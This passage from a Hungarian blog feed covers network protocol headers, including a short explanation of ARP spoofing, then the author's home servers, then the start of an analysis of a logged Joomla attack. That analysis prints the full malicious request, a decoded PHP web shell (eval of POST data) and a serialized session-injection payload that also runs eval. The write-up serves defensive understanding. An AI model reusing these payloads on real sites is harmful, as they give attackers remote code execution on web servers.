<p>Az eszközök rendelkeznek egy ARP cache nevezetű dologgal, ami az IP cím - MAC cím összerendeléseket tartalmazza, hogy ne kelljen minden egyes alkalommal megkérdezni. Alice esetén ez valahogy így nézhet ki:</p>
<pre class="console"><code>$ ip -br neigh
192.168.1.103                           eth0             0a:00:00:00:00:03
192.168.1.104                           eth0             0a:00:00:00:00:04
192.168.1.1                             eth0             0a:00:00:00:00:01
</code></pre>
<p>Ez a cache akkor is frissül, ha kérés nélkül kapunk egy ARP választ, ami azt jelenti, hogy ha Mallory elkezdi elárasztani hamis ARP válaszokkal a hálózatot (Alice-nak azt mondja, hogy ő a router, a router-nek azt mondja, hogy ő Alice), valamint továbbítja az eredeti címzetteknek a rajta keresztülmenő csomagokat, akkor anélkül tudja lehallgatni (vagy akár megváltoztatni) Alice Internet forgalmát, hogy Alice ebből bármit észrevenne.</p>
<h4>Internet Protocol</h4>
<p>A kövektező protokoll az IP, aminek megjelenésével végre vannak IP címeink és tudunk két IP cím között adatot cserélni. Az IP csomag felépítése:</p>
<table>
<tbody>
  <tr>
    <td nowrap>4 bit</td>
    <td>verzió (<code>0b0100</code> IPv4 esetén)</td>
  </tr>
  <tr>
    <td nowrap>4 bit</td>
    <td>fejléc mérete (általában <code>0b0101</code>)</td>
  </tr>
  <tr>
    <td nowrap>8 bit</td>
    <td>különböző beállítások, amikbe nem mentem komolyabban bele, küldhetünk <code>0b00000000</code>-t, abból baj nem lehet :)</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>a csomag teljes mérete</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>azonosító (a több részre bontott üzenetek csoportosításához)</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>tördeléssel kapcsolatos adatok (elképzelhető, hogy az IP csomag, amit küldeni szeretnénk nem fér bele egy Ethernet keretbe, ezért több részre kell bontani, alapesetben <code>0x00</code> az értéke)</td>
  </tr>
  <tr>
    <td nowrap>1 byte</td>
    <td>TTL (Time-to-live), mindig egyel csökken, ha a csomag áthalad egy hálózati eszközön, ha eléri a nullát, az eszköz eldobja a csomagot</td>
  </tr>
  <tr>
    <td nowrap>1 byte</td>
    <td>az adatban használt protokoll típusa (<code>0x01</code> az ICMP, <code>0x06</code> a TCP, <code>0x11</code> az UDP)</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>ellenőrző összeg</td>
  </tr>
  <tr>
    <td nowrap>4 byte</td>
    <td>a feladó IP címe</td>
  </tr>
  <tr>
    <td nowrap>4 byte</td>
    <td>a címzett IP címe</td>
  </tr>
  <tr>
    <td nowrap>&nbsp;</td>
    <td>adat</td>
  </tr>
</tbody>
</table>
<h4>Internet Control Message Protocol</h4>
<p>Ha már a ping-et emlegettük korábban, szót kell ejtenünk az ICMP-ről. Elég fura állatfaj, a hálózati réteghez sorolják, de kicsit az az érzésem, hogy a szállítási rétegben lenne a helye. Ugyanúgy egy IP csomagba rakjuk bele, mint az UDP-t vagy a TCP-t, csak nem adatszállítás a célja. A ping esetén valahogy így épül fel az üzenet:</p>
<table>
<tbody>
  <tr>
    <td nowrap>1 byte</td>
    <td>típus (<code>0x08</code> a ping kérés, <code>0x00</code> a ping válasz)</td>
  </tr>
  <tr>
    <td nowrap>1 byte</td>
    <td>kód (ping kérés/válasz esetén nem használt adat)</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>ellenőrző összeg</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>azonosító (kérés és válasz összepárosítása)</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>sorszám (kérés és válasz összepárosítása)</td>
  </tr>
  <tr>
    <td nowrap>&nbsp;</td>
    <td>opcionális adat</td>
  </tr>
</tbody>
</table>
<p>Alice már tudja Bob MAC címét, úgyhogy végre elküldheti azt a ping-et, amit eredetileg szeretett volna, amire aztán Bob válaszolhat. Valahogy így néz ki a kérés (a zöld rész az Ethernet kerethez tartozik, a kék rész az IP csomag, a piros rész az ICMP):</p>
<table>
<tbody>
  <tr class="green">
    <td><code>0x0A0000000003</code></TD>
    <td>címzett MAC címe (Bob)</td>
  </tr>
  <tr class="green">
    <td><code>0x0A0000000002</code></TD>
    <td>feladó MAC címe (Alice)</td>
  </tr>
  <tr class="green">
    <td><code>0x0800</code></td>
    <td>IP típusú adat</td>
  </tr>
  <tr class="blue">
    <td><code>0b01000101</code></td>
    <td>verzió és fejléc méret</td>
  </tr>
  <tr class="blue">
    <td><code>0b00000000</code></td>
    <td>beállítások, amikkel nem foglalkozunk</td>
  </tr>
  <tr class="blue">
    <td><code>0x????</code></td>
    <td>a csomag teljes mérete</td>
  </tr>
  <tr class="blue">
    <td><code>0x????</code></td>
    <td>azonosító</td>
  </tr>
  <tr class="blue">
    <td><code>0x00</code></td>
    <td>tördeléssel kapcsolatos adatok</td>
  </tr>
  <tr class="blue">
    <td><code>0xFF</code></td>
    <td>TTL</td>
  </tr>
  <tr class="blue">
    <td><code>0x01</code></td>
    <td>ICMP csomag</td>
  </tr>
  <tr class="blue">
    <td><code>0x????</code></td>
    <td>ellenőrző összeg</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80166</code></td>
    <td>feladó IP címe (Alice)</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80167</code></td>
    <td>címzett IP címe (Bob)</td>
  </tr>
  <tr class="red">
    <td><code>0x08</code></td>
    <td>ping kérés típusú üzenet</td>
  </tr>
  <tr class="red">
    <td><code>0x00</code></td>
    <td>nem használt adat</td>
  </tr>
  <tr class="red">
    <td><code>0x????</code></td>
    <td>ellenőrző összeg</td>
  </tr>
  <tr class="red">
    <td><code>0x????</code></td>
    <td>azonosító</td>
  </tr>
  <tr class="red">
    <td><code>0x????</code></td>
    <td>sorszám</td>
  </tr>
  <tr class="green">
    <td><code>0x????????</code></td>
    <td>ellenőrző összeg</td>
  </tr>
</tbody>
</table>
<p>Amire Bob a következő választ küldi:</p>
<table>
<tbody>
  <tr class="green">
    <td><code>0x0A0000000002</code></TD>
    <td>címzett MAC címe (Alice)</td>
  </tr>
  <tr class="green">
    <td><code>0x0A0000000003</code></TD>
    <td>feladó MAC címe (Bob)</td>
  </tr>
  <tr class="green">
    <td><code>0x0800</code></td>
    <td>IP típusú adat</td>
  </tr>
  <tr class="blue">
    <td><code>0b01000101</code></td>
    <td>verzió és fejléc méret</td>
  </tr>
  <tr class="blue">
    <td><code>0b00000000</code></td>
    <td>beállítások, amikkel nem foglalkozunk</td>
  </tr>
  <tr class="blue">
    <td><code>0x????</code></td>
    <td>a csomag teljes mérete</td>
  </tr>
  <tr class="blue">
    <td><code>0x????</code></td>
    <td>azonosító</td>
  </tr>
  <tr class="blue">
    <td><code>0x00</code></td>
    <td>tördeléssel kapcsolatos adatok</td>
  </tr>
  <tr class="blue">
    <td><code>0xFF</code></td>
    <td>TTL</td>
  </tr>
  <tr class="blue">
    <td><code>0x01</code></td>
    <td>ICMP csomag</td>
  </tr>
  <tr class="blue">
    <td><code>0x????</code></td>
    <td>ellenőrző összeg</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80167</code></td>
    <td>feladó IP címe (Bob)</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80166</code></td>
    <td>címzett IP címe (Alice)</td>
  </tr>
  <tr class="red">
    <td><code>0x00</code></td>
    <td>ping válasz típusú üzenet</td>
  </tr>
  <tr class="red">
    <td><code>0x00</code></td>
    <td>nem használt adat</td>
  </tr>
  <tr class="red">
    <td><code>0x????</code></td>
    <td>ellenőrző összeg</td>
  </tr>
  <tr class="red">
    <td><code>0x????</code></td>
    <td>azonosító (amit Alice küldött)</td>
  </tr>
  <tr class="red">
    <td><code>0x????</code></td>
    <td>sorszám (amit Alice küldött)</td>
  </tr>
  <tr class="green">
    <td><code>0x????????</code></td>
    <td>ellenőrző összeg</td>
  </tr>
</tbody>
</table>
<p>Kezd bonyolódni a dolog, pedig még messze vagyunk a végétől. Feltűnt, hogy portokról még nem is esett szó? Nem véletlenül. Ezen a ponton a port fogalma még nem létezik, ideje szintet lépni.</p>
<h3>Szállítási réteg</h3>
<p>Ha nyitottál már valaha socket-eket bármilyen programozási nyelven, akkor ismerősek lesznek az itt található protokollok. Kezdjük az egyszerűbbel.</p>
<h4>User Datagram Protocol</h4>
<p>Mint már említettem, az UDP egyszerű. Nincs garantálva, hogy megérkezik a csomag, nincs újraküldés elveszett csomagokra, csak belekiabálunk a cső egyik végébe és reménykedünk, hogy a másik végén hallani fogják. Egy csomag a következőképpen néz ki:</p>
<table>
<tbody>
  <tr>
    <td nowrap>2 byte</td>
    <td>feladó port</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>címzett port</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>a csomag teljes mérete</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>ellenőrző összeg</td>
  </tr>
  <tr>
    <td nowrap>&nbsp;</td>
    <td>opcionális adat</td>
  </tr>
</tbody>
</table>
<p>A feladó port is opcionális, ha nem nulla az értéke, akkor azon a porton várjuk a válasz csomagokat.</p>
<h4>Transmission Control Protocol</h4>
<p>És ezzel elérkeztünk a méltán híres és közkedvelt TCP-hez. A modern, pakoljunk mindent a böngészőbe és szolgáljuk ki HTTP-n alapú Internet sarokköve. Egészen addig, amíg a HTTP/3 el nem terjed, ami vált UDP-re. Egy csomag a következőképpen néz ki:</p>
<table>
<tbody>
  <tr>
    <td nowrap>2 byte</td>
    <td>feladó port</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>címzett port</td>
  </tr>
  <tr>
    <td nowrap>4 byte</td>
    <td>sorszám</td>
  </tr>
  <tr>
    <td nowrap>4 byte</td>
    <td>nyugta szám</td>
  </tr>
  <tr>
    <td nowrap>4 bit</td>
    <td>header méret (hány darab 4 byte-os blokkból áll)</td>
  </tr>
  <tr>
    <td nowrap>4 bit</td>
    <td>lefoglalt bitek, amik nincsenek használatban</td>
  </tr>
  <tr>
    <td nowrap>8 bit</td>
    <td>beállítások (<code>SYN</code>, <code>FIN</code>, <code>ACK</code>, <code>URG</code> és a többiek)</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>ablak méret</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>ellenőrző összeg</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>a sürgős adat kezdőcíme (ha <code>URG</code> a csomag)</td>
  </tr>
  <tr>
    <td nowrap>&nbsp;</td>
    <td>opcionális beállítások</td>
  </tr>
  <tr>
    <td nowrap>&nbsp;</td>
    <td>opcionális adat</td>
  </tr>
</tbody>
</table>
<p>Nem csak a csomag felépítése a lényeg, hanem az a kis tánc, amit a kliens és a szerver eljár, hogy adatokat cserélhessen. Ki kell építeni és le kell zárni a kapcsolatot, valamint mindkét fél nyugtázza, hogy megkapta a másik által küldött adatokat.</p>
<h5>Kapcsolat kiépítése</h5>
<ol>
<li>a kliens küld egy <code>SYN</code> csomagot<br />
(a sorszám 0, mivel ez az első csomagja a kliensnek)</li>
<li>a szerver válaszol egy <code>SYN</code>, <code>ACK</code> csomaggal<br />
(a sorszám 0, mivel ez az első csomagja a szervernek, a nyugta szám 1, mivel az előzőleg kapott sorszám az 0 volt és nem volt benne adat, így a következő csomagban az 1-es sorszámra számítunk)</li>
<li>a kliens válaszol egy <code>ACK</code> csomaggal<br />
(a sorszám 1, a nyugta szám 1)</li>
</ol>
<h5>Adatok cseréje</h5>
<ol>
<li>a kliens küld 10 byte-nyi adatot<br />
(a sorszám 1)</li>
<li>a szerver válaszol egy <code>ACK</code> csomaggal<br />
(a sorszám 1, a nyugta szám 11, mivel az előző sorszám 1 volt és 10 byte-nyi adatot kaptunk)</li>
<li>a szerver küld 100 byte-nyi adatot<br />
(a sorszám 1)</li>
<li>a kliens válaszol egy <code>ACK</code> csomaggal<br />
(a sorszám 11, a nyugta szám 101)</li>
</ol>
<h5>Kapcsolat lezárása</h5>
<ol>
<li>a kliens küld egy <code>FIN</code> csomagot<br />
(a sorszám 11)</li>
<li>a szerver válaszol egy <code>FIN</code>, <code>ACK</code> csomaggal<br />
(a sorszám 101, a nyugta szám 12)</li>
<li>a kliens válaszol egy <code>ACK</code> csomaggal<br />
(a sorszám 12, a nyugta szám 102)</li>
</ol>
<h3>Alkalmazási réteg</h3>
<p>Elegánsan átugrunk két szintet, a viszonyréteget és a megjelenítési réteget. A viszonyrétegen van például a SOCKS protokoll, a megjelenítési réteg feladatköre pedig gyakran összeolvad az alkalmazási réteggel.</p>
<p>Az alkalmazási rétegünk például a HTTP. A fentebb megszerzett tudás felhasználásával nézzük is meg, hogy mi történik, amikor Alice futtat egy egyszerű <code>curl www.example.org</code> parancsot.</p>
<p>Ahhoz, hogy ezt meg tudjuk mondani, tudnunk kell Alice hálózati beállításait. Tegyük fel, hogy valami ilyesmi van beállítva:</p>
<pre><code>auto eth0
iface eth0 inet static
      address 192.168.1.102
      netmask 255.255.255.0
      gateway 192.168.1.1
      dns-nameservers 1.1.1.1
</code></pre>
<ul>
<li>a <code>www.example.org</code> domain-nel nem tudunk sokat kezdeni, kell egy IP cím</li>
<li>a beállított DNS IP címe nem a helyi hálózaton van, úgyhogy a kérést a router (gateway) felé kell küldeni</li>
<li>ARP kérés küldése, hogy kiderítsük a router MAC címét</li>
<li>UDP csomag küldése a router MAC címére, az IP csomagban a DNS IP címével</li>
<li>a router látja, hogy nem ő a címzett, ezért továbbítja a csomagot az Internet felé (itt még közrejátszik a NAT és a kapcsolatkövetés is, hogy kifelé a router publikus IP címe látszódjon a csomagban és a visszaérkező válaszról tudja, hogy kinek kell továbbítani)</li>
<li>az Internet felől érkezik egy válasz UDP csomag, a router látja, hogy nem neki címezték</li>
<li>a kapcsolatkövetés miatt tudja a router, hogy merre kell továbbítania a csomagot</li>
<li>UDP csomag továbbítása Alice-nek</li>
<li>a <code>www.example.org</code> IP címe <code>X.X.X.X</code></li>
<li>HTTP kérés összeállítása, TCP kapcsolat felépítése</li>
<li>az <code>X.X.X.X</code> cím nem a helyi hálózaton van, úgyhogy a TCP csomagokat a router MAC címére küldjük a megfelelő címzett IP címmel</li>
<li>a válasz csomagokat a router továbbítja Alice-nek</li>
<li>TCP kapcsolat lebontása</li>
<li>az ARP kérésekre ezen a ponton már valószínűleg nincs szükség, mert benne van a cache-ben</li>
</ul>
<p>Felmerülhet még a kérdés, hogy miből derül ki, hogy egy IP cím nem a helyi hálózaton van. A fenti <code>address</code>/<code>netmask</code>/<code>gateway</code> beállításokból generálódik egy routing tábla, ami valahogy így nézhet ki:</p>
<pre class="console"><code>$ sudo route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.1.1     0.0.0.0         UG    0      0        0 eth0
192.168.1.0     0.0.0.0         255.255.255.0   U     0      0        0 eth0
</code></pre>
<p>Nem mondom, hogy tudom pontosan hogyan is működik, de azt tippelném, hogy a legszűkebb találatot fogja előszedni vagy a végéről indul visszafelé és az első találatot, de lényeg a lényeg, ha valami a <code>192.168.1.0</code>-<code>192.168.1.255</code> tartományban van, akkor azt csak egyszerűen kiküldi a megfelelő MAC címre, az összes többi IP cím esetén a <code>192.168.1.1</code> IP címhez tartozó MAC címre küldi a csomagot. A router-nek pedig van egy hasonló routing táblája, ami alapján el tudja dönteni, hogy mit kezdjen azzal a csomaggal.</p>
<h3>Összegzés</h3>
<p>Remélem sikerült egy csepp betekintést nyerni abba, hogy mi történik &quot;alattunk&quot;, amikor használjuk az Internetet. Sok rétegen át rengeteg dolog történik és mi most csak a felszínt kapargattuk meg egy kicsit.</p>
<p>Nem is jutottunk túl messzire, csak a router-ig merészkedtünk. Ami azon túl van... az egy külön világ, ahol olyanok vannak, mint a DSL, SDH, PPP, MPLS, BGP, OSPF, meg még egy csomó rövidítés, aminek még a létezéséről se tudok. És mégis, az esetek többségében eljutnak a csomagjaink a megfelelő címzettekhez. Mi ez, ha nem varázslat?</p>

]]></content:encoded>
        </item>
            <item>
            <title>Szerver a házban</title>
            <link>https://deadlime.hu/2023/08/04/szerver-a-hazban/</link>
            <pubDate>Fri, 04 Aug 2023 19:35:00 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[hardver]]></category>
                    
            <guid isPermaLink="false">3a691edb9751192a84866804f7674156</guid>
            <description>A szerverek is dolgozhatnak otthonról</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/home_servers.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Valahogy mindig is vonzott az a gondolat, hogy legyen egy otthoni szerverem. Az első egy kiöregedett asztali PC volt, igazi retró szürke fekvő házban, amire egy Debian-t húztunk fel. Azon kezdtem el tanulgatni a Linux rejtelmeit. Később egy apróhirdetés oldalon vadásztam össze egy leselejtezett Dell OptiPlex Gx240-et, ami egészen a Raspberry Pi Model B megjelenéséig kitartott. Onnantól kezdve egész sokáig csak Raspberry Pi volt használva otthoni szervernek, mindig cserélve a legfrissebb verzióra.</p>
<p>Az ARM alapú rendszerek nem mindig voltak problémamentesek. Nem működtek dolgok, nem voltak rá csomagok vagy éppen cross-compile-olni kellett volna rá. Meg hát a Raspberry Pi sem egy erőmű. Egy ideig szemezgettem az x86 architektúrával, főleg az <a href="https://www.intel.com/content/www/us/en/products/details/nuc.html">Intel NUC</a> termékvonallal, de végül az ilyen irányú otthoni szerver igényeimet felhős szerverekkel helyettesítettem.</p>
<p>Egy ponton <a href="https://deadlime.hu/2022/06/07/koltozes-es-kaosz/">leköltöztem a felhőből</a> és jelenleg három szerver tartja itthon a frontot.</p>
<h3>File szerver</h3>
<p>A régi Raspberry Pi szerverek leszármazottja, egy 4-es Model B, 4 GB RAM-mal. Valamikor rá lett kötve egy 4 TB-os külső meghajtó is, azóta főleg file szerverként üzemel Samba segítségével. Fut még rajta <a href="https://syncthing.net/">Syncthing</a>, amivel a gépeim közötti fájl szinkronizálást oldom meg.</p>
<p>Van egy társa is, szintén egy Raspberry Pi 4 Model B (valószínűleg ugyanúgy 4 GB RAM-mal, de lusta vagyok megnézni), amin <a href="https://libreelec.tv/">LibreELEC</a> fut a TV felokosításához, de őt nem sorolnám a szerverek közé.</p>
<h3>A régi router</h3>
<p>Egy időben sok cikkbe futottam bele, ami arról szólt, hogy milyen jó dolog PC alkatrészekből saját router-t építeni. Meg is jött hozzá a kedvem, építettem egyet <a href="https://en.wikipedia.org/wiki/Mini-ITX">Mini-ITX</a> alapokon:</p>
<ul>
<li><a href="https://www.chieftec.eu/products-detail/88/IX-03B-OP">Chieftec IX-03B-OP</a> ház</li>
<li><a href="https://www.gigabyte.com/Motherboard/GA-N3160N-D3V-rev-10">Gigabyte GA-N3160N-D3V</a> alaplap</li>
<li><a href="https://ark.intel.com/content/www/us/en/ark/products/91831/intel-celeron-processor-n3160-2m-cache-up-to-2-24-ghz.html">Intel Celeron N3160</a> processzor az alaplapra integrálva</li>
<li>8 GB RAM</li>
<li>SATA SSD</li>
<li>passzív hűtés</li>
</ul>
<p>Tényleg jó volt, rengeteget tanultam belőle, de egy idő után túl sok volt vele a nyűg. Visszaváltottam egy gyári router-re, de a gép megmaradt és maradt pár szolgáltatás is, ami továbbra is innen fut. Van rajta egy rekurzív DNS feloldó, ami DNS alapú reklám blokkolóként is működik (mint a <a href="https://pi-hole.net/">Pi-hole</a>, csak én tákoltam össze) és egy <a href="https://deadlime.hu/2020/09/23/a-raspberry-pi-lemeztelenitese/">TFTP/NFS szerver a LibreELEC-es Raspberry Pi-nak</a>. Volt rajta egy OpenVPN szerver is, amit elkezdtem átmigrálni WireGuard-ra, de aztán félbemaradt és most egyik sincs rajta.</p>
<h3>Alkalmazás szerver</h3>
<p>A router nem egy erőműnek készült, az alkalmazások futtatásához kellett itthonra valami erősebb gép. A Mini-ITX alapok beváltak, úgyhogy egy ugyanolyan kis dobozt raktam össze, mint a router esetén:</p>
<ul>
<li>szintén egy Chieftec IX-03B-OP ház</li>
<li><a href="https://www.asus.com/motherboards-components/motherboards/prime/prime-h410i-plus/">Asus PRIME H410I-PLUS</a> alaplap</li>
<li><a href="https://www.intel.com/content/www/us/en/products/sku/199283/intel-core-i310100-processor-6m-cache-up-to-4-30-ghz/specifications.html">Intel Core i3-10100</a> processzor</li>
<li>16 GB RAM</li>
<li>NVMe SSD</li>
<li>aktív hűtés</li>
</ul>
<p>A gépen egy Docker Swarm fut, Portainer és Traefik segítségével (<a href="https://deadlime.hu/2022/06/07/koltozes-es-kaosz/">részletek a költözős bejegyzésben</a>). Sok minden megfordult már rajta (Elastic Stack, Nextcloud, MQTT szerver <a href="https://deadlime.hu/2018/08/23/adatsorok-es-grafikonok/">a szenzorok</a> egy újabb változatának). Jelenleg csak egy GitLab-ot (Git szerver, container/package registry, build szerver) és egy MediaWiki-t futtat aktívan. Lehet az utóbbit is kiválthatnám a GitLab beépített Wiki oldalával.</p>
<p>És azt hiszem ennyi. Remélem sikerült ihletet meríteni belőle és már tervezgeted az új szerveredet. Ha most indulsz csak el az otthoni szervertartás (nem különösebben) rögös útján, akkor kezdésnek egy Raspberry Pi jó döntés lehet (ha éppen nincs belőle készlethiány) a hivatalos Raspberry Pi OS Lite-tal. Viszonylag olcsó, jól támogatott hardver, elég sok self-hosted alkalmazással elbír. Aztán ahogy kiderülnek menet közben a hiányosságok, úgy lehet nézni alternatív megoldásokat.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Kód újrahasznosítás felsőfokon</title>
            <link>https://deadlime.hu/2023/07/14/kod-ujrahasznositas-felsofokon/</link>
            <pubDate>Fri, 14 Jul 2023 15:22:47 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[biztonság]]></category>
                    <category><![CDATA[PHP]]></category>
                    <category><![CDATA[MySQL]]></category>
                    
            <guid isPermaLink="false">de4c598138594d5b1192a3e0e83e7929</guid>
            <description>Nem is gondolnád, hogy mire képes egy kis kreativitás a régi, megunt osztályokkal</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/hacker.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Évekkel ezelőtt tartottam egy belsős előadást egy sérülékenységről, ami annyira tekervényes, olyan valószínűtlen, hogy még a mai napig is lenyűgöz.</p>
<p>Az egész úgy kezdődött, hogy találtam egy feltűnően furcsa sort a webszerver logjai között. A publikus interneten lógó webszerverek logjaiban sok a furcsa sor, na de a feltűnően furcsa...</p>
<pre class="console-wrap"><code>192.0.2.1 - - [16/Oct/2018:17:33:48 +0000] &quot;GET /?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B HTTP/1.1&quot; 301 178 &quot;-&quot; &quot;}__test|O:21:\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:46:\x22eval($_REQUEST[1]);JFactory::getConfig();exit;\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\x9D\x8C\x86&quot;
</code></pre>
<p>Két érdekes dolog is van itt. Az egyik az <code>1</code> elnevezésű GET paraméterben kapott adat, a másik a user agent értéke (az idézőjelek közötti rész a sor végén). Nézzük először a GET paramétert.</p>
<h3>Távoli elérés</h3>
<p>Egy <code>urldecode</code> és némi formázás után a következő PHP kódot kapjuk (a <a href="https://gchq.github.io/CyberChef/#recipe=URL_Decode()Generic_Code_Beautify()Syntax_highlighter(&#x27;auto%20detect&#x27;)&amp;input=JTQwaW5pX3NldCUyOCUyMmRpc3BsYXlfZXJyb3JzJTIyJTJDJTIyMCUyMiUyOSUzQiU0MHNldF90aW1lX2xpbWl0JTI4MCUyOSUzQiU0MHNldF9tYWdpY19xdW90ZXNfcnVudGltZSUyODAlMjklM0JlY2hvJTIwJTI3LSUzRSU3QyUyNyUzQmZpbGVfcHV0X2NvbnRlbnRzJTI4JTI0X1NFUlZFUiU1QiUyN0RPQ1VNRU5UX1JPT1QlMjclNUQuJTI3L3dlYmNvbmZpZy50eHQucGhwJTI3JTJDYmFzZTY0X2RlY29kZSUyOCUyN1BEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYk1WMHBPejglMkIlMjclMjklMjklM0JlY2hvJTIwJTI3JTdDJTNDLSUyNyUzQg">CyberChef</a> egyébként remek eszköz ilyenekre):</p>
<pre><code class="hljs php">@ini_set(<span class="hljs-string">"display_errors"</span>,<span class="hljs-string">"0"</span>);
@set_time_limit(<span class="hljs-number">0</span>);
@set_magic_quotes_runtime(<span class="hljs-number">0</span>);

<span class="hljs-keyword">echo</span> <span class="hljs-string">'-&gt;|'</span>;
file_put_contents(
  $_SERVER[<span class="hljs-string">'DOCUMENT_ROOT'</span>].<span class="hljs-string">'/webconfig.txt.php'</span>,
  base64_decode(<span class="hljs-string">'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'</span>)
);
<span class="hljs-keyword">echo</span> <span class="hljs-string">'|&lt;-'</span>;
</code></pre>
<p>A <code>webconfig.txt.php</code> fájlba próbál nekünk valamit beírni. Egy gyors <code>base64_decode</code> és az is kiderül, hogy mit:</p>
<pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span> <span class="hljs-keyword">eval</span>($_POST[<span class="hljs-number">1</span>]);<span class="hljs-meta">?&gt;</span>
</code></pre>
<p>Egy egyszerű PHP-s remote shell, amit arra lehet használni, hogy a támadó bármilyen PHP kódot lefuttathasson az adott gépen. Hogy miért volt ráküldve egy <code>base64_encode</code>? Amint elmentettem a fájlt, ami ezt a bejegyzést tartalmazza úgy, hogy benne volt a fentebbi kód, rögtön jelzett a vírusirtó, hogy backdoor-t talált. A base64 enkódolt változat viszont még nem zavarta.</p>
<p>A probléma csak az, hogy az eredeti HTTP kérés nem a <code>webconfig.txt.php</code>-ra érkezett, így az <code>1</code> paraméterben kapott kódot nem is futtatta le a remote shell. Meg minek is küldenének a remote shell-nek egy olyan parancsot, hogy hozza létre saját magát? Biztos a user agent értékében lesz valami huncutság.</p>
<h3>Kód újrahasznosítás</h3>
<p>Egy kis formázás és dekódolás után ezt kapjuk:</p>
<pre><code>}__test|O:21:&quot;JDatabaseDriverMysqli&quot;:3:{
  s:2:&quot;fc&quot;;O:17:&quot;JSimplepieFactory&quot;:0:{}
  s:21:&quot;\0\0\0disconnectHandlers&quot;;a:1:{
    i:0;a:2:{
      i:0;O:9:&quot;SimplePie&quot;:5:{
        s:8:&quot;sanitize&quot;;O:20:&quot;JDatabaseDriverMysql&quot;:0:{}
        s:8:&quot;feed_url&quot;;s:46:&quot;eval($_REQUEST[1]);JFactory::getConfig();exit;&quot;;
        s:19:&quot;cache_name_function&quot;;s:6:&quot;assert&quot;;
        s:5:&quot;cache&quot;;b:1;
        s:11:&quot;cache_class&quot;;O:20:&quot;JDatabaseDriverMysql&quot;:0:{}
      }
      i:1;s:4:&quot;init&quot;;
    }
  }
  s:13:&quot;\0\0\0connection&quot;;b:1;
}\xF0\x9D\x8C\x86
</code></pre>
<p>Huncutságból nincs hiány, az már egyszer biztos. Rögtön egy <code>}</code> karakterrel kezdünk, ami utalhat egy injection jellegű támadásra, amiben ezzel a karakterrel akarják lezárni az előző értéket.</p>
<p>A következő rész rutinosabb PHP fejlesztőket a <code>serialize</code>-ra emlékeztetheti, de nem teljesen egyezik a formátum. A <code>session_encode</code> ad vissza ilyet és a session-ben található adatok vannak ezzel az enkódolással tárolva szerver oldalon. A végén még van egy furcsa <code>\xF0\x9D\x8C\x86</code> karaktersor, amit egyelőre nem tudunk hova tenni, de biztos az is rosszban sántikál.</p>
<p>Olyan, mintha valahogy a <code>User-Agent</code> header-ön keresztül próbálnának létrehozni egy új változót a session-ben. Ez az új <code>__test</code> változó a <code>JDatabaseDriverMysqli</code> osztály egy példánya lesz, ami azt állítja magáról, hogy van aktív kapcsolata (a <code>connection</code> értéke <code>true</code>) és van egy disconnect handler-je is, a <code>SimplePie</code> osztály egy példánya, aminek az <code>init</code> metódusát kellene majd meghívni disconnect esetén. Ez már önmagában is elég szokatlan, de ha megnézzük a példány <code>feed_url</code>-jét, az még több gyanúra ad okot:</p>
<pre><code class="hljs php"><span class="hljs-keyword">eval</span>($_REQUEST[<span class="hljs-number">1</span>]);JFactory::getConfig();<span class="hljs-keyword">exit</span>;
</code></pre>
<p>Még egy remote shell, biztos, ami biztos.</p>
<h3>A Joomla mélyén</h3>
